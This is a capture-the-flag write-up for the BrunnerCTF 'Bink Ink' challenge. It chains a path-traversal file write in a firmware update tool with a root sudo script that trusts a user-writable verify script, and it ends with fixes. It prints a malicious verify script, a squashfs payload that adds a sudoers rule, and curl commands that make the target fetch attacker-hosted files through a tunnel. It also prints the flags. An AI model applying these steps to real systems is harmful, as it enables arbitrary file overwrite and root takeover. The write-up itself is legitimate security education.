DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

BrunnerCTF : Bink Ink Writeup

Summary

The challenge exposes a firmware update service ("Bink ink update tool v1.0.5") running as
brunner_operator inside a Debian container, reachable only through a Squid proxy. The tool
accepts text commands — get, verify, list, etc. — over a raw TCP socket wrapped by socat.

Two vulnerabilities chain together to give full root:

  1. Path traversal in get - the firmware query parameter is passed directly to
    os.path.join with no sanitisation, allowing ../../../../ sequences to write
    arbitrary files anywhere brunner_operator has write access.

  2. Privileged script trusts user-writable script - bink_ink_apply.sh runs as root
    via sudo but calls back into /home/brunner_operator/bink_ink_verify.sh for its
    "signature check" step. Since brunner_operator owns that file, overwriting it turns
    the signature check into arbitrary root code execution.

The exploit overwrites bink_ink_verify.sh with a malicious version that bypasses the
signature check and triggers bink_ink_apply.sh (via the existing sudo rule) to apply a
crafted squashfs that drops a new sudoers rule onto the container's root filesystem.
Once that rule is live, sudo cat /root/flag_root.txt is permitted and both flags are
printed inline in the same HTTP response.


Environment (from source zip)

The challenge ships a single Docker container built on Debian. Here is the full
picture of what is running inside before we touch anything.

Dockerfile

FROM debian@sha256:fac46bff2e02f51425b6e33b0e1169f55dfb053d83511ca28aa50c09fd5ed7a4

RUN apt-get update && apt-get install -y \
    squashfs-tools python3-requests openssl tar socat squid sudo supervisor

RUN useradd -m -s /bin/bash brunner_operator

COPY etc /etc
COPY bin /bin

RUN chmod 755 /bin/bink_ink_update_tool.py
RUN chmod 755 /bin/bink_ink_apply.sh

COPY brunner_operator /home/brunner_operator
RUN chown brunner_operator:brunner_operator /home/brunner_operator/bink_ink_verify.sh
RUN chmod +x /home/brunner_operator/bink_ink_verify.sh

COPY flag_root.txt /root          # chmod 400 - root-readable only
COPY flag_user.txt /home/brunner_operator  # chmod 444 - world-readable

RUN echo "brunner_operator ALL=(root) NOPASSWD: /bin/bink_ink_apply.sh" >> /etc/sudoers

EXPOSE 8000
CMD ["supervisord", "-c", "/etc/supervisor/conf.d/supervisord.conf"]
Enter fullscreen mode Exit fullscreen mode

Key observations at a glance:

  • brunner_operator has one sudo rule: /bin/bink_ink_apply.sh - nothing else
  • bink_ink_verify.sh is owned by brunner_operator - user-writable
  • flag_root.txt is chmod 400 - only root can read it directly
  • flag_user.txt is chmod 444 - world-readable (it is handed out as soon as we get code exec)

Process layout (supervisord.conf)

[supervisord]
nodaemon=true
user=root

[program:squid]
command=squid -N -d 1
user=root
autorestart=true

[program:bink_ink_update_tool]
command=socat tcp-l:30005,bind=127.0.0.1,reuseaddr,fork \
        exec:"/bin/bink_ink_update_tool.py",pty,echo=0,raw,iexten=0
user=brunner_operator
autorestart=true
Enter fullscreen mode Exit fullscreen mode
  • squid runs as root and listens on port 8000 (exposed externally)
  • bink_ink_update_tool.py runs as brunner_operator, bound to 127.0.0.1:30005 via socat - only reachable through the proxy

Squid config (squid.conf)

http_port 8000
acl CONNECT_method method CONNECT
http_access deny CONNECT_method            # no HTTPS tunnelling
acl allowed_ports port 30000-50000
http_access allow allowed_ports
http_access deny all
Enter fullscreen mode Exit fullscreen mode

CONNECT is blocked (no blind HTTPS tunnelling). Only ports 30000–50000 are
reachable through the proxy. The update tool on 127.0.0.1:30005 falls inside
that range and is the intended target.

Firmware version & public key

v2.3.4
Enter fullscreen mode Exit fullscreen mode
-----BEGIN PUBLIC KEY-----
MCowBQYDK2VwAyEAWHh3cLSkUXdyVIpA3FG6nU18ok4BI0QQhBMj5PdhHa8=
-----END PUBLIC KEY-----
Enter fullscreen mode Exit fullscreen mode

Ed25519 public key used by bink_ink_verify.sh for signature checking - we will
bypass this entirely by overwriting the script before verification runs.


Source code walkthrough

bink_ink_update_tool.py (runs as brunner_operator)

The command loop reads one line from stdin and dispatches:

Command Function
get Download firmware from URL
verify Run bink_ink_verify.sh on a local file
apply Disabled ("Feature is disabled. Please contact support.")
list List files in /tmp/firmwares/
version Print /etc/bink_ink_version
license Print /etc/bink_ink_license
help Print command list

get - the vulnerable function:

FIRMWARE_DOWNLOAD_PATH = "/tmp/firmwares"

def download_file(path):
    parsed = urlparse(path)
    params = parse_qs(parsed.query)
    fw_name = params["firmware"][0]          # ← taken raw from query string

    r = requests.get(path)

    fw_path = os.path.join(FIRMWARE_DOWNLOAD_PATH, fw_name)   # ← no sanitisation
    with open(fw_path, "wb") as f:
        f.write(r.content)
Enter fullscreen mode Exit fullscreen mode

os.path.join("/tmp/firmwares", "../../../../home/brunner_operator/bink_ink_verify.sh")
resolves to /home/brunner_operator/bink_ink_verify.sh. No .. stripping, no
realpath check, no allowlist - a direct arbitrary file write as brunner_operator.

verify - how it triggers our script:

def verify(firmware_file):
    real_path = os.path.realpath(os.path.join(FIRMWARE_DOWNLOAD_PATH, firmware_file))
    if not real_path.startswith(FIRMWARE_DOWNLOAD_PATH) or not os.path.isfile(real_path):
        print("Invalid path")
        return

    ret = subprocess.run(["/home/brunner_operator/bink_ink_verify.sh", firmware_file])
Enter fullscreen mode Exit fullscreen mode

verify does check that the target file is inside /tmp/firmwares/ - but it
calls bink_ink_verify.sh unconditionally, and that script is the one we just
overwrote. The firmware_file argument here is just the plain filename (pwn.tar),
with no path separator, which is important later.

bink_ink_verify.sh (original, owned by brunner_operator)

#!/bin/bash
set -euo pipefail

TAR_FILE="$1"
PUB_KEY="/etc/bink_ink_fw_public_key.pem"
WORKDIR="$(mktemp -d)"

tar xf "$TAR_FILE" -C "$WORKDIR"

if openssl pkeyutl -verify -pubin -inkey "$PUB_KEY" \
  -in "$WORKDIR/firmware.bin" \
  -sigfile "$WORKDIR/signature.sig" \
  -rawin 2>/dev/null; then
  rm -rf "$WORKDIR"
  exit 0
else
  rm -rf "$WORKDIR"
  exit 1
fi
Enter fullscreen mode Exit fullscreen mode

Verifies an Ed25519 signature over firmware.bin using the public key at
/etc/bink_ink_fw_public_key.pem. Because brunner_operator owns this file,
we can replace it entirely.

bink_ink_apply.sh (root-owned, runs as root via sudo)

#!/bin/bash
set -euo pipefail

VERIFY=/home/brunner_operator/bink_ink_verify.sh

WORKDIR="$(mktemp -d)"
cleanup() { rm -rf "$WORKDIR"; }
trap cleanup EXIT

tar -xf "$TARBALL" -C "$WORKDIR"

FIRMWARE="$WORKDIR/firmware.bin"

echo "[*] Verifying firmware signature"
if ! "sudo" "-u" "$SUDO_USER" "$VERIFY" "$TARBALL"; then
    echo "Error: firmware verification failed, aborting"
    exit 1
fi

echo "[*] Verification succeeded, applying updated firmware to /"
unsquashfs -f -d / "$FIRMWARE"
Enter fullscreen mode Exit fullscreen mode

This is the privileged escalation path:

  1. Runs as root (called via sudo /bin/bink_ink_apply.sh)
  2. Calls back into $VERIFY - which is /home/brunner_operator/bink_ink_verify.sh (user-writable!)
  3. If verify exits 0, applies the squashfs directly to / as root

$SUDO_USER is set to brunner_operator by sudo, so the verify callback runs
as brunner_operator. The $TARBALL argument passed to the callback is the full
path /tmp/firmwares/pwn.tar - it contains a /. We exploit this to distinguish
the recursive call from the direct call.


Attack Chain

Step 0 - Reaching the service

The tool is only accessible via the Squid proxy. We send our commands by cramming
them into the HTTP body with --data-binary. The proxy ignores the HTTP headers
and the update tool sees only our \n-terminated command line.

BASE="curl --http1.1 --proxy-insecure \
  -x https://bink-ink-user-aaff18a6c57ab47b-global.challs.brunnerne.xyz:1337 \
  -H 'Connection: close'"
Enter fullscreen mode Exit fullscreen mode

Step 1 - Expose a local HTTP server

The target container fetches firmware by making outbound HTTP requests. We tunnel
our local Python server through bore to get a reachable URL:

python3 -m http.server 8000
/root/.cargo/bin/bore local 8000 --to bore.pub
# → listening at bore.pub:50014
Enter fullscreen mode Exit fullscreen mode

Step 2 - Build the malicious bink_ink_verify.sh

#!/bin/bash
cat /home/brunner_operator/flag_user.txt 2>/dev/null

# bink_ink_apply.sh calls us with the full tarball path (contains /)
# detect that and exit 0 to pass the "signature check"
if [[ "$1" == */* ]]; then
    exit 0
fi

# direct call from update tool: run the full exploit
sudo /bin/bink_ink_apply.sh /tmp/firmwares/pwn.tar
sudo cat /root/flag_root.txt 2>/dev/null
exit 0
Enter fullscreen mode Exit fullscreen mode

Step 3 - Build the squashfs payload (pwn.tar)

The squashfs is what bink_ink_apply.sh writes to / after our fake
signature check passes. We put a sudoers drop-in inside it that grants
brunner_operator permission to sudo cat:

mkdir -p squash/etc/sudoers.d
echo "brunner_operator ALL=(root) NOPASSWD: /bin/cat" \
    > squash/etc/sudoers.d/pwn
chmod 440 squash/etc/sudoers.d/pwn

mksquashfs squash firmware.bin -noappend -comp xz
echo -n "FAKESIG123" > signature.sig   # dummy - verify is bypassed
tar -cf pwn.tar firmware.bin signature.sig
Enter fullscreen mode Exit fullscreen mode

Step 4 - Upload everything via path traversal

Overwrite bink_ink_verify.sh:

curl --http1.1 --proxy-insecure \
  -x https://bink-ink-user-aaff18a6c57ab47b-global.challs.brunnerne.xyz:1337 \
  -H "Connection: close" \
  --data-binary $'get http://bore.pub:50014/bink_ink_verify.sh?firmware=../../../../home/brunner_operator/bink_ink_verify.sh\n' \
  http://127.0.0.1:30005/
# Firmware downloaded successfully and saved in
# /tmp/firmwares/../../../../home/brunner_operator/bink_ink_verify.sh
Enter fullscreen mode Exit fullscreen mode

Upload pwn.tar to /tmp/firmwares/:

curl --http1.1 --proxy-insecure \
  -x https://bink-ink-user-aaff18a6c57ab47b-global.challs.brunnerne.xyz:1337 \
  -H "Connection: close" \
  --data-binary $'get http://bore.pub:50014/pwn.tar?firmware=pwn.tar\n' \
  http://127.0.0.1:30005/
# Firmware downloaded successfully and saved in /tmp/firmwares/pwn.tar
Enter fullscreen mode Exit fullscreen mode

Step 5 - Trigger verify and collect both flags

curl --http1.1 --proxy-insecure \
  -x https://bink-ink-user-aaff18a6c57ab47b-global.challs.brunnerne.xyz:1337 \
  -H "Connection: close" \
  --data-binary $'verify pwn.tar\n' \
  http://127.0.0.1:30005/
Enter fullscreen mode Exit fullscreen mode

Full output:

Verifying firmware, please wait..
brunner{Y0u_B1nk3d_th4t_1nk!!}            ← user flag
[*] Unpacking update into /tmp/tmp.C9oqfksBbV
[*] Verifying firmware signature
brunner{Y0u_B1nk3d_th4t_1nk!!}            ← our script exits 0 (recursive call)
[*] Verification succeeded, applying updated firmware to /
Parallel unsquashfs: Using 16 processors
1 inodes (1 blocks) to write
created 1 file
created 3 directories
[*] Firmware applied successfully
brunner{d0nt_have_hi_priv_scr1pts_th4t_bl1ndly_tru5t_l0w_pr1v_scr1pt5}   ← root flag
Verification of firmware file pwn.tar, success!!
Enter fullscreen mode Exit fullscreen mode

Execution flow diagram

verify pwn.tar (update tool)
  └─ subprocess: bink_ink_verify.sh pwn.tar          [as brunner_operator]
       ├─ cat flag_user.txt                           → user flag printed
       ├─ "$1" = "pwn.tar" (no slash) → full path
       ├─ sudo /bin/bink_ink_apply.sh /tmp/firmwares/pwn.tar
       │    ├─ tar -xf → extracts firmware.bin + signature.sig
       │    ├─ sudo -u brunner_operator bink_ink_verify.sh /tmp/firmwares/pwn.tar
       │    │    └─ "$1" contains "/" → exit 0        (fake signature pass)
       │    └─ unsquashfs -f -d / firmware.bin        [as root]
       │         └─ writes /etc/sudoers.d/pwn to container root fs
       └─ sudo cat /root/flag_root.txt                → root flag printed
            (sudoers.d/pwn now in place → permission granted)
Enter fullscreen mode Exit fullscreen mode

Root Cause

Two mistakes compounding each other:

1. No path sanitisation in get

fw_path = os.path.join(FIRMWARE_DOWNLOAD_PATH, fw_name)
Enter fullscreen mode Exit fullscreen mode

os.path.join does not strip .. components. Fix: call os.path.realpath and
assert it starts with FIRMWARE_DOWNLOAD_PATH, or strip everything except the
basename with os.path.basename(fw_name).

2. A root-level script unconditionally trusts a user-writable script

bink_ink_apply.sh (root, sudoable) hardcodes VERIFY=/home/brunner_operator/bink_ink_verify.sh
and executes it as part of a privileged workflow. Because brunner_operator owns
that file, any code-exec as that user becomes root. Fix: move the verify script to
a root-owned, immutable path (/usr/lib/bink/verify.sh) and perform signature
checking entirely within the privileged script using a root-owned key store.

Top comments (0)